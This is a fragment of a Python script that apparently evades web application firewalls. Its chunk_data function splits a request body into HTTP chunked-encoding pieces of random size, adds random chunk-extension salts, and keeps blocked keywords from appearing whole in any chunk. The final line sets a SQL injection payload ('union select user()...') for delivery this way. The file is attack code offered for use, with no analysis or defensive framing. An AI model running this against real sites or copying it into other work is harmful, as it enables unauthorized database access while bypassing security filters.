| 13 | |
| 14 | |
| 15 | def chunk_data(data, keywords: list): |
| 16 | dl = len(data) |
| 17 | ret = "" |
| 18 | index = 0 |
| 19 | while index < dl: |
| 20 | chunk_size = random.randint(1, 9) |
| 21 | if index + chunk_size >= dl: |
| 22 | chunk_size = dl - index |
| 23 | salt = ''.join(random.sample(string.ascii_letters + string.digits, 5)) |
| 24 | while 1: |
| 25 | tmp_chunk = data[index:index + chunk_size] |
| 26 | tmp_bool = True |
| 27 | for k in keywords: |
| 28 | if k in tmp_chunk: |
| 29 | chunk_size -= 1 |
| 30 | tmp_bool = False |
| 31 | break |
| 32 | if tmp_bool: |
| 33 | break |
| 34 | index += chunk_size |
| 35 | ret += "{0};{1}\r\n".format(hex(chunk_size)[2:], salt) |
| 36 | ret += "{0}\r\n".format(tmp_chunk) |
| 37 | |
| 38 | ret += "0\r\n\r\n" |
| 39 | return ret |
| 40 | |
| 41 | |
| 42 | payload = "id=-1' and union select user(),2,3,4,5 from table" |